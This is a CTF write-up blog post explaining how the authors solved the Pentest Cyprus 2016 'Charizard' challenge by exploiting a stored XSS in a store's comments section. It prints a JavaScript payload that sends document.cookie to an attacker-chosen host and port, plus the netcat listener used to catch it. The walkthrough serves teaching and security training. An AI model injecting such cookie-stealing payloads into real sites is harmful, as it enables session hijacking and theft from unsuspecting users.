Back to Posts

Pentest Cyprus 2016: Charizard Write-up

Posted in Pentest Cyprus 2016 Written by Simon Loizides (s3nn_)

Hey girls and guys! Following a request for write-ups from Circles (excellent job organizing the CTF by the way), we’re going to analyze how we captured Charizard (in the form of a flag). Without further ado, let’s begin!

The description of the challenge from the player board gave us some clues:

“Store” and “hijack”.

Step 1: Identification

First things first! We needed to identify an input field that was vulnerable to XSS.

The most likely candidates for a stored XSS vulnerability are forum posts or comment boxes since these by default have to be persistent.

Lo and behold, the PokeStore had a Comments section! We tried to inject some JavaScript to see if the application would reflect back our user input. We used the following payload to test this out:

<script>alert('USERENC')</script>;

Form vulnerable to XSS

The JavaScript executes and an alert box is displayed! We closed the alert box and refreshed the page using F5 to check if our JavaScript payload would execute again. Indeed it did, proving this was a STORED XSS vulnerability.

XSS payload executes successfully

So having found where to inject our malicious payload, we needed to figure out how to get our flag! We knew Charizard likes to “hijack” stuff, so we assumed we had to actually exploit the XSS vulnerability to steal something (probably a cookie).

Step 2: Plan attack

We needed to craft a malicious JavaScript payload that would allow us to hijack a victim’s cookies. The payload we used was the following (others can be used also):

<script>new Image().src='http://<ip_address>/flag?='+document.cookie</script>

This will force the victim’s browser to try and load a new image from the IP address provided by sending an HTTP Request for the resource /flag?=<their_cookies>.

To be in a position to capture the cookies, we needed to be listening on the IP address we specified in the payload. There were two ways to go about doing this:

  1. If we were going to be listening from our HOST machine, we needed to use our IP address.
  2. If we were going to use the PlayMon interface, we needed to use 127.0.0.1, localhost or the VM ip address. There was one extra caveat: we also needed to find a port we could bind to since we were not running as root and couldn’t use the default HTTP port 80.

For the sake of demonstration, we used the PlayMon interface as this was provided, and we used port 65000 (as this is a non-registered port). We started our netcat listener with the following command:

$ nc -lvnp 65000.

This basically mean:

  • listen for incoming connections (-l),
  • on port 65000 (-p 65000),
  • be verbose (-v); and
  • don’t do any DNS or service resolution (-n)

Step 3: Execute

Firstly, we setup our listener via the PlayMon interface so we could (hopefully) capture any incoming cookies using the command shown above.

netcat listener

Secondly, we had to adjust our payload to include the port number chosen for the attack (65000) and the loopback IP of the VM (127.0.0.1):

<script>new Image().src='http://127.0.0.1:65000/flag?='+document.cookie</script>

Thirdly, we posted a new comment with our new payload! Viewing the source, we saw it had been reflected back in the response. We patiently waited for Charizard to visit the vulnerable page…

Alt

We checked our PlayMon interface after ~20 seconds and saw that we had gotten our flag. Charizard captured!

Charizard Flag Captured

What Happened

So why did we get an incoming request on our listener that sent our flag? For those who don’t fully comprehend what an XSS vulnerability is, it might appear that we are exploiting the server to get our flag. However, this is incorrect as XSS is used to attack users of an application.

What happened here is that there is some sort of script (or bot, if you will) running on the vulnerable VM that sends an HTTP request for the vulnerable page we injected JavaScript into. When it reads the response, it parses the HTML as if it were a browser. This is why our JavaScript payload gets executed and we get the flag (which is essentially a cookie of the bot).

If you see the line starting with User-Agent in the above screenshot, you’ll see the string PhantomJS somewhere towards the end. PhantomJS is a headless, scripted browser (from wikipedia), which can be used to do exactly what we just described above for the purposes of the CTF.

In real life, a stored XSS vulnerability could be used to exploit legitimate users of a vulnerable application in the same way. If a logged in user visited the vulnerable page, a malicious JavaScript payload would execute in the context of their browser, which could steal their cookies, perform actions on their behalf and much more.

Hope you found the above useful. If you have any questions, drop us a comment on Facebook or Twitter.